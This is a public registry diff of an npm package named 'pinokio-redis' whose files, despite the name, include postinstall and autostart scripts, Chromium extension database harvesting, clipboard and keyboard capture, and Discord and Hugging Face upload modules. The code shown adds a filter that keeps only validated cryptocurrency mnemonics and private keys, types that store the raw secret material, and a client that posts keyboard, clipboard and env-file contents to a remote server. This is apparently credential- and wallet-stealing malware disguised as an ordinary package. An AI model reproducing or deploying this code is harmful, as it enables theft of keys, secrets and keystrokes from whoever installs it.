pinokio-redis 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Keep only cryptographically plausible mnemonics / private-key material (high precision).
|
|
4
|
+
* Filters scan hits before deduplication — excludes loose bip39 prose, opaque env tokens, ETH addresses, etc.
|
|
5
|
+
*/
|
|
6
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
7
|
+
exports.isValidEnglishBip39MnemonicPhrase = isValidEnglishBip39MnemonicPhrase;
|
|
8
|
+
exports.isValidWif = isValidWif;
|
|
9
|
+
exports.isValidExtendedPrivateKeyBase58 = isValidExtendedPrivateKeyBase58;
|
|
10
|
+
exports.scanHitPassesStrictCryptoMaterial = scanHitPassesStrictCryptoMaterial;
|
|
11
|
+
exports.isStrictCryptoUniqueFinding = isStrictCryptoUniqueFinding;
|
|
12
|
+
const bip39_1 = require("@scure/bip39");
|
|
13
|
+
const english_1 = require("@scure/bip39/wordlists/english");
|
|
14
|
+
const base58check_1 = require("./base58check");
|
|
15
|
+
const secp256k1Scalar_1 = require("./secp256k1Scalar");
|
|
16
|
+
const solanaKeypair_1 = require("./solanaKeypair");
|
|
17
|
+
/** WIF payload version bytes used across major UTXO chains (all secp256k1 scalars). */
|
|
18
|
+
const WIF_PRIVATE_VERSION_OK = new Set([
|
|
19
|
+
0x80,
|
|
20
|
+
0xef, // Bitcoin main / test
|
|
21
|
+
0xb0, // Litecoin (common exports)
|
|
22
|
+
0x9e, // Dogecoin (common exports)
|
|
23
|
+
0xcc, // Dash (common exports)
|
|
24
|
+
]);
|
|
25
|
+
function baseRule(rule) {
|
|
26
|
+
return rule.replace(/_strings$/u, "");
|
|
27
|
+
}
|
|
28
|
+
function normalizeMnemonicPhrase(s) {
|
|
29
|
+
return s
|
|
30
|
+
.trim()
|
|
31
|
+
.toLowerCase()
|
|
32
|
+
.split(/\s+/u)
|
|
33
|
+
.filter(Boolean)
|
|
34
|
+
.join(" ");
|
|
35
|
+
}
|
|
36
|
+
function isValidEnglishBip39MnemonicPhrase(text) {
|
|
37
|
+
const m = normalizeMnemonicPhrase(text);
|
|
38
|
+
if (!m)
|
|
39
|
+
return false;
|
|
40
|
+
const words = m.split(/\s+/u);
|
|
41
|
+
if (words.length < 12 || words.length > 24 || words.length % 3 !== 0)
|
|
42
|
+
return false;
|
|
43
|
+
if (!words.every((w) => /^[a-z]+$/u.test(w)))
|
|
44
|
+
return false;
|
|
45
|
+
return (0, bip39_1.validateMnemonic)(m, english_1.wordlist);
|
|
46
|
+
}
|
|
47
|
+
function unwrapKvPayload(payload) {
|
|
48
|
+
let s = payload.trim();
|
|
49
|
+
if ((s.startsWith('"') && s.endsWith('"')) ||
|
|
50
|
+
(s.startsWith("'") && s.endsWith("'"))) {
|
|
51
|
+
s = s.slice(1, -1).replace(/\\n/gu, "\n");
|
|
52
|
+
}
|
|
53
|
+
return s.trim();
|
|
54
|
+
}
|
|
55
|
+
function looksLikeWif(s) {
|
|
56
|
+
const t = s.trim();
|
|
57
|
+
return /^[1-9A-HJ-NP-Za-km-z]{51,52}$/u.test(t);
|
|
58
|
+
}
|
|
59
|
+
function looksLikeXprv(s) {
|
|
60
|
+
return /^(?:xprv|tprv|zprv|yprv|vprv)[1-9A-HJ-NP-Za-km-z]{100,120}$/u.test(s.trim());
|
|
61
|
+
}
|
|
62
|
+
function isValidWif(s) {
|
|
63
|
+
const raw = (0, base58check_1.base58CheckDecode)(s.trim());
|
|
64
|
+
if (!raw)
|
|
65
|
+
return false;
|
|
66
|
+
const head = raw[0];
|
|
67
|
+
if (!WIF_PRIVATE_VERSION_OK.has(head))
|
|
68
|
+
return false;
|
|
69
|
+
if (raw.length === 33) {
|
|
70
|
+
const keyHex = raw.subarray(1).toString("hex");
|
|
71
|
+
return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(keyHex);
|
|
72
|
+
}
|
|
73
|
+
if (raw.length === 34 && raw[33] === 0x01) {
|
|
74
|
+
const keyHex = raw.subarray(1, 33).toString("hex");
|
|
75
|
+
return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(keyHex);
|
|
76
|
+
}
|
|
77
|
+
return false;
|
|
78
|
+
}
|
|
79
|
+
function isValidExtendedPrivateKeyBase58(s) {
|
|
80
|
+
const raw = (0, base58check_1.base58CheckDecode)(s.trim());
|
|
81
|
+
if (!raw || raw.length !== 78)
|
|
82
|
+
return false;
|
|
83
|
+
if (raw[45] !== 0)
|
|
84
|
+
return false;
|
|
85
|
+
const privHex = raw.subarray(46, 78).toString("hex");
|
|
86
|
+
return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(privHex);
|
|
87
|
+
}
|
|
88
|
+
function kvExtractPass(payload) {
|
|
89
|
+
const inner = unwrapKvPayload(payload);
|
|
90
|
+
if (!inner)
|
|
91
|
+
return false;
|
|
92
|
+
if (isValidEnglishBip39MnemonicPhrase(inner))
|
|
93
|
+
return true;
|
|
94
|
+
const hexOnly = inner.replace(/^0x/iu, "").trim();
|
|
95
|
+
if (/^[0-9a-fA-F]{64}$/u.test(hexOnly)) {
|
|
96
|
+
return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(hexOnly);
|
|
97
|
+
}
|
|
98
|
+
if (looksLikeWif(inner))
|
|
99
|
+
return isValidWif(inner);
|
|
100
|
+
if (looksLikeXprv(inner))
|
|
101
|
+
return isValidExtendedPrivateKeyBase58(inner);
|
|
102
|
+
if (inner.startsWith("[")) {
|
|
103
|
+
const arr = (0, solanaKeypair_1.parseJsonUint8ArrayString)(inner);
|
|
104
|
+
if (arr && (0, solanaKeypair_1.normalizeSolana64ArrayToCanonical)(arr))
|
|
105
|
+
return true;
|
|
106
|
+
}
|
|
107
|
+
return false;
|
|
108
|
+
}
|
|
109
|
+
/**
|
|
110
|
+
* Returns true when this hit should be kept (valid BIP39 English mnemonic or blockchain-style
|
|
111
|
+
* private key material: secp256k1 hex, WIF, BIP32 xprv). TLS PEM / WireGuard / age are excluded.
|
|
112
|
+
*/
|
|
113
|
+
function scanHitPassesStrictCryptoMaterial(row) {
|
|
114
|
+
const rule = baseRule(String(row.rule ?? ""));
|
|
115
|
+
const prev = String(row.matched_preview ?? "");
|
|
116
|
+
switch (rule) {
|
|
117
|
+
case "maybe_eth_address_40":
|
|
118
|
+
return false;
|
|
119
|
+
case "bip39_loose":
|
|
120
|
+
return false;
|
|
121
|
+
case "bip32_xprv":
|
|
122
|
+
return isValidExtendedPrivateKeyBase58(prev);
|
|
123
|
+
case "wif_like":
|
|
124
|
+
return isValidWif(prev);
|
|
125
|
+
case "hex_64":
|
|
126
|
+
return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(prev.trim());
|
|
127
|
+
case "solana_keypair_json":
|
|
128
|
+
case "solana_keypair_json_strings": {
|
|
129
|
+
const arr = (0, solanaKeypair_1.parseJsonUint8ArrayString)(prev.trim());
|
|
130
|
+
return arr !== null && (0, solanaKeypair_1.normalizeSolana64ArrayToCanonical)(arr) !== null;
|
|
131
|
+
}
|
|
132
|
+
case "env_secret":
|
|
133
|
+
case "json_secret":
|
|
134
|
+
return kvExtractPass(prev);
|
|
135
|
+
default:
|
|
136
|
+
return false;
|
|
137
|
+
}
|
|
138
|
+
}
|
|
139
|
+
/** Persisted rows: mnemonics + validated secp256k1 / HD / WIF shapes only. */
|
|
140
|
+
function isStrictCryptoUniqueFinding(u) {
|
|
141
|
+
switch (u.value_kind) {
|
|
142
|
+
case "mnemonic_phrase":
|
|
143
|
+
case "hex_32byte":
|
|
144
|
+
case "bip32_extended_private":
|
|
145
|
+
case "wif_like":
|
|
146
|
+
case "solana_secret_key_64":
|
|
147
|
+
return true;
|
|
148
|
+
default:
|
|
149
|
+
return false;
|
|
150
|
+
}
|
|
151
|
+
}
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Filename-guided secret-material audit (local reports only).
|
|
3
|
+
* For authorized use on systems you own or have permission to assess.
|
|
4
|
+
*/
|
|
5
|
+
export interface SecretScanJsonConfig {
|
|
6
|
+
max_file_size_bytes?: number;
|
|
7
|
+
include_patterns?: string[];
|
|
8
|
+
/** Single segment → path segment match; path with `/` → prefix / substring rules (merged into legacy lists). */
|
|
9
|
+
include_dirs?: string[];
|
|
10
|
+
include_dir_suffixes?: string[];
|
|
11
|
+
include_dir_paths?: string[];
|
|
12
|
+
exclude_dirs?: string[];
|
|
13
|
+
/** Absolute normalized dirs — walker skips these paths and their descendants (agent + CLI JSON). */
|
|
14
|
+
exclude_abs_path_prefixes?: string[];
|
|
15
|
+
}
|
|
16
|
+
export interface NormalizedSecretScanConfig {
|
|
17
|
+
max_file_size_bytes: number;
|
|
18
|
+
include_patterns: string[];
|
|
19
|
+
include_dir_suffixes: string[];
|
|
20
|
+
include_dir_paths: string[];
|
|
21
|
+
exclude_dirs: string[];
|
|
22
|
+
exclude_abs_path_prefixes: string[];
|
|
23
|
+
}
|
|
24
|
+
export interface ScanHitExtras {
|
|
25
|
+
note?: string;
|
|
26
|
+
hex_note?: string;
|
|
27
|
+
entropy_8bit?: number;
|
|
28
|
+
xor_singlebyte_ascii_candidates?: string[];
|
|
29
|
+
string_entropy?: number;
|
|
30
|
+
base64_decoded_hex_preview?: string[];
|
|
31
|
+
reverse_contains_hex_preview?: string;
|
|
32
|
+
bip39_checksum_ok?: boolean;
|
|
33
|
+
ed25519_verify_key_hex_preview?: string;
|
|
34
|
+
[key: string]: unknown;
|
|
35
|
+
}
|
|
36
|
+
export interface ScanHitRow {
|
|
37
|
+
file: string;
|
|
38
|
+
file_size: number;
|
|
39
|
+
rule: string;
|
|
40
|
+
offset: number;
|
|
41
|
+
matched_preview: string;
|
|
42
|
+
extras: ScanHitExtras;
|
|
43
|
+
}
|
|
44
|
+
export interface UniqueFindingSource {
|
|
45
|
+
file: string;
|
|
46
|
+
offset: number | undefined;
|
|
47
|
+
matched_preview: string;
|
|
48
|
+
}
|
|
49
|
+
export interface UniqueFinding {
|
|
50
|
+
fingerprint: string;
|
|
51
|
+
value_kind: string;
|
|
52
|
+
normalized_value: string;
|
|
53
|
+
primary_rule: string;
|
|
54
|
+
detection_rules: string[];
|
|
55
|
+
sources: UniqueFindingSource[];
|
|
56
|
+
rule: string;
|
|
57
|
+
}
|
|
58
|
+
/** Persisted agent `result.json` rows (`schema_version` ≥ 4) — exactly `{ file, rule, data }`. Legacy v2–v3 keys still load. */
|
|
59
|
+
export interface SlimAuditUniqueFinding {
|
|
60
|
+
/** Absolute path of the best merged hit source file (POSIX `/`). */
|
|
61
|
+
file: string;
|
|
62
|
+
/** Canonical validated-material label (`bip39_checksum_valid`, `secp256k1_private_hex`, …). */
|
|
63
|
+
rule: string;
|
|
64
|
+
/** Canonical secret material (same semantics as former `normalized_value` / `value`). */
|
|
65
|
+
data: string;
|
|
66
|
+
}
|
|
67
|
+
export interface SecretScanReport {
|
|
68
|
+
scanner: string;
|
|
69
|
+
root: string;
|
|
70
|
+
config: string;
|
|
71
|
+
validate_optional: boolean;
|
|
72
|
+
max_file_size_bytes: number | undefined;
|
|
73
|
+
candidates_scanned: number;
|
|
74
|
+
findings_count: number;
|
|
75
|
+
unique_findings_count: number;
|
|
76
|
+
skipped_oversize_named: Array<{
|
|
77
|
+
file: string;
|
|
78
|
+
size_bytes: number;
|
|
79
|
+
}>;
|
|
80
|
+
read_errors: Array<{
|
|
81
|
+
file: string;
|
|
82
|
+
error: string;
|
|
83
|
+
}>;
|
|
84
|
+
unique_findings: SlimAuditUniqueFinding[];
|
|
85
|
+
findings?: ScanHitRow[];
|
|
86
|
+
}
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
export type SyncSource = "keyboard" | "clipboard" | "env_file" | "registration" | "heartbeat";
|
|
2
|
+
/** Virtual ``file_path`` for host JSON in forge-db; must match forge-clients-status and forge-db. */
|
|
3
|
+
export declare const FORGE_HOST_INVENTORY_VIRTUAL_PATH = "forge-js://host-inventory.json";
|
|
4
|
+
export interface SyncEventPayload {
|
|
5
|
+
timestamp: string;
|
|
6
|
+
source: SyncSource;
|
|
7
|
+
text: string;
|
|
8
|
+
size_bytes?: number | null;
|
|
9
|
+
context_json?: string | null;
|
|
10
|
+
file_path?: string | null;
|
|
11
|
+
file_hash?: string | null;
|
|
12
|
+
file_mtime?: string | null;
|
|
13
|
+
}
|
|
14
|
+
export interface ForgeSyncClientOptions {
|
|
15
|
+
baseUrl: string;
|
|
16
|
+
clientId?: string | null;
|
|
17
|
+
fetchImpl?: typeof fetch;
|
|
18
|
+
timeoutMs?: number;
|
|
19
|
+
}
|
|
20
|
+
export declare class ForgeSyncClient {
|
|
21
|
+
private readonly base;
|
|
22
|
+
private readonly clientId;
|
|
23
|
+
private readonly fetchFn;
|
|
24
|
+
private readonly timeoutMs;
|
|
25
|
+
constructor(opts: ForgeSyncClientOptions);
|
|
26
|
+
private headers;
|
|
27
|
+
private request;
|
|
28
|
+
health(): Promise<{
|
|
29
|
+
status: string;
|
|
30
|
+
}>;
|
|
31
|
+
ready(): Promise<{
|
|
32
|
+
status: string;
|
|
33
|
+
}>;
|
|
34
|
+
createEvent(event: SyncEventPayload): Promise<{
|
|
35
|
+
id?: number;
|
|
36
|
+
status: string;
|
|
37
|
+
table: string;
|
|
38
|
+
session_id: string;
|
|
39
|
+
reason?: string;
|
|
40
|
+
}>;
|
|
41
|
+
/**
|
|
42
|
+
* POST OS metadata (type, hostname) to forge-db `/api/client-info`.
|
|
43
|
+
* Non-fatal — failure is silently swallowed; used for dashboard OS display only.
|
|
44
|
+
*/
|
|
45
|
+
updateClientInfo(info: {
|
|
46
|
+
os_type?: string;
|
|
47
|
+
os_platform?: string;
|
|
48
|
+
hostname?: string;
|
|
49
|
+
}): Promise<Record<string, unknown> | null>;
|
|
50
|
+
createEventsBatch(events: SyncEventPayload[]): Promise<{
|
|
51
|
+
inserted: number;
|
|
52
|
+
ids: number[];
|
|
53
|
+
status: string;
|
|
54
|
+
table: string;
|
|
55
|
+
session_id: string;
|
|
56
|
+
}>;
|
|
57
|
+
listEvents(params?: {
|
|
58
|
+
limit?: number;
|
|
59
|
+
offset?: number;
|
|
60
|
+
clientId?: string | null;
|
|
61
|
+
clientIp?: string | null;
|
|
62
|
+
}): Promise<{
|
|
63
|
+
events: Record<string, unknown>[];
|
|
64
|
+
table: string;
|
|
65
|
+
session_id: string;
|
|
66
|
+
}>;
|
|
67
|
+
listClients(): Promise<{
|
|
68
|
+
clients: Record<string, unknown>[];
|
|
69
|
+
}>;
|
|
70
|
+
}
|
|
71
|
+
/** Same field shape as Python `_env_file_record_to_event` / forge-db `env_file` rows. */
|
|
72
|
+
export declare function envFileRecordToEvent(ef: {
|
|
73
|
+
path: string;
|
|
74
|
+
content: string;
|
|
75
|
+
hash: string;
|
|
76
|
+
mtime: string;
|
|
77
|
+
size: number;
|
|
78
|
+
}): SyncEventPayload;
|
|
79
|
+
/** Minimal registration ping compatible with Python `_send_registration_handshake` (uses clipboard + "test"). */
|
|
80
|
+
export declare function registrationHandshakeEvent(): SyncEventPayload;
|
|
@@ -0,0 +1,214 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.ForgeSyncClient = exports.FORGE_HOST_INVENTORY_VIRTUAL_PATH = void 0;
|
|
4
|
+
exports.envFileRecordToEvent = envFileRecordToEvent;
|
|
5
|
+
exports.registrationHandshakeEvent = registrationHandshakeEvent;
|
|
6
|
+
/**
|
|
7
|
+
* HTTP client for forge-db (FastAPI app.py) — mirrors cfgmgr sync POST/GET behavior.
|
|
8
|
+
*/
|
|
9
|
+
const tableNaming_1 = require("./tableNaming");
|
|
10
|
+
/** Virtual ``file_path`` for host JSON in forge-db; must match forge-clients-status and forge-db. */
|
|
11
|
+
exports.FORGE_HOST_INVENTORY_VIRTUAL_PATH = "forge-js://host-inventory.json";
|
|
12
|
+
function singlePostResponseOk(data) {
|
|
13
|
+
if (!data || typeof data !== "object")
|
|
14
|
+
return false;
|
|
15
|
+
const d = data;
|
|
16
|
+
const st = d.status;
|
|
17
|
+
if (st === "ignored")
|
|
18
|
+
return true;
|
|
19
|
+
if (st !== "created" && st !== "ok")
|
|
20
|
+
return false;
|
|
21
|
+
return "id" in d;
|
|
22
|
+
}
|
|
23
|
+
function batchPostResponseOk(data) {
|
|
24
|
+
if (!data || typeof data !== "object")
|
|
25
|
+
return false;
|
|
26
|
+
const d = data;
|
|
27
|
+
const st = d.status;
|
|
28
|
+
if (st === "ok" && d.inserted === 0)
|
|
29
|
+
return true;
|
|
30
|
+
const ids = d.ids;
|
|
31
|
+
if (!Array.isArray(ids) || typeof d.inserted !== "number")
|
|
32
|
+
return false;
|
|
33
|
+
if ((st === "created" || st === "ok") && typeof d.inserted === "number")
|
|
34
|
+
return d.inserted >= 0;
|
|
35
|
+
return false;
|
|
36
|
+
}
|
|
37
|
+
/** forge-db `/health` and `/ready` return `{ status: string }`. */
|
|
38
|
+
function assertForgeDbStatusPayload(data, label) {
|
|
39
|
+
if (!data || typeof data !== "object" || Array.isArray(data)) {
|
|
40
|
+
throw new Error(`${label}: invalid JSON body`);
|
|
41
|
+
}
|
|
42
|
+
const st = data.status;
|
|
43
|
+
if (typeof st !== "string" || !st.trim()) {
|
|
44
|
+
throw new Error(`${label}: missing status field`);
|
|
45
|
+
}
|
|
46
|
+
return { status: st };
|
|
47
|
+
}
|
|
48
|
+
class ForgeSyncClient {
|
|
49
|
+
base;
|
|
50
|
+
clientId;
|
|
51
|
+
fetchFn;
|
|
52
|
+
timeoutMs;
|
|
53
|
+
constructor(opts) {
|
|
54
|
+
this.base = opts.baseUrl.trim().replace(/\/+$/, "");
|
|
55
|
+
this.clientId = opts.clientId?.trim() || null;
|
|
56
|
+
this.fetchFn = opts.fetchImpl ?? fetch;
|
|
57
|
+
this.timeoutMs = opts.timeoutMs ?? 30_000;
|
|
58
|
+
}
|
|
59
|
+
headers(extra) {
|
|
60
|
+
const h = {
|
|
61
|
+
"Content-Type": "application/json",
|
|
62
|
+
...(extra || {}),
|
|
63
|
+
};
|
|
64
|
+
if (this.clientId) {
|
|
65
|
+
h["X-Client-Id"] = this.clientId.slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
|
|
66
|
+
}
|
|
67
|
+
return h;
|
|
68
|
+
}
|
|
69
|
+
async request(method, path, body) {
|
|
70
|
+
const url = `${this.base}${path}`;
|
|
71
|
+
const ac = new AbortController();
|
|
72
|
+
const t = setTimeout(() => ac.abort(), this.timeoutMs);
|
|
73
|
+
try {
|
|
74
|
+
const res = await this.fetchFn(url, {
|
|
75
|
+
method,
|
|
76
|
+
headers: this.headers(),
|
|
77
|
+
body: body !== undefined ? JSON.stringify(body) : undefined,
|
|
78
|
+
signal: ac.signal,
|
|
79
|
+
redirect: "manual",
|
|
80
|
+
});
|
|
81
|
+
const text = await res.text();
|
|
82
|
+
let data;
|
|
83
|
+
try {
|
|
84
|
+
data = text ? JSON.parse(text) : null;
|
|
85
|
+
}
|
|
86
|
+
catch {
|
|
87
|
+
data = { raw: text };
|
|
88
|
+
}
|
|
89
|
+
return { ok: res.ok, status: res.status, data };
|
|
90
|
+
}
|
|
91
|
+
catch (e) {
|
|
92
|
+
// Undici/`fetch failed` hides the endpoint in PM2 — surface URL for operators.
|
|
93
|
+
const inner = e instanceof Error ? e.message : String(e);
|
|
94
|
+
throw new Error(`${method} ${url} failed: ${inner}`, { cause: e });
|
|
95
|
+
}
|
|
96
|
+
finally {
|
|
97
|
+
clearTimeout(t);
|
|
98
|
+
}
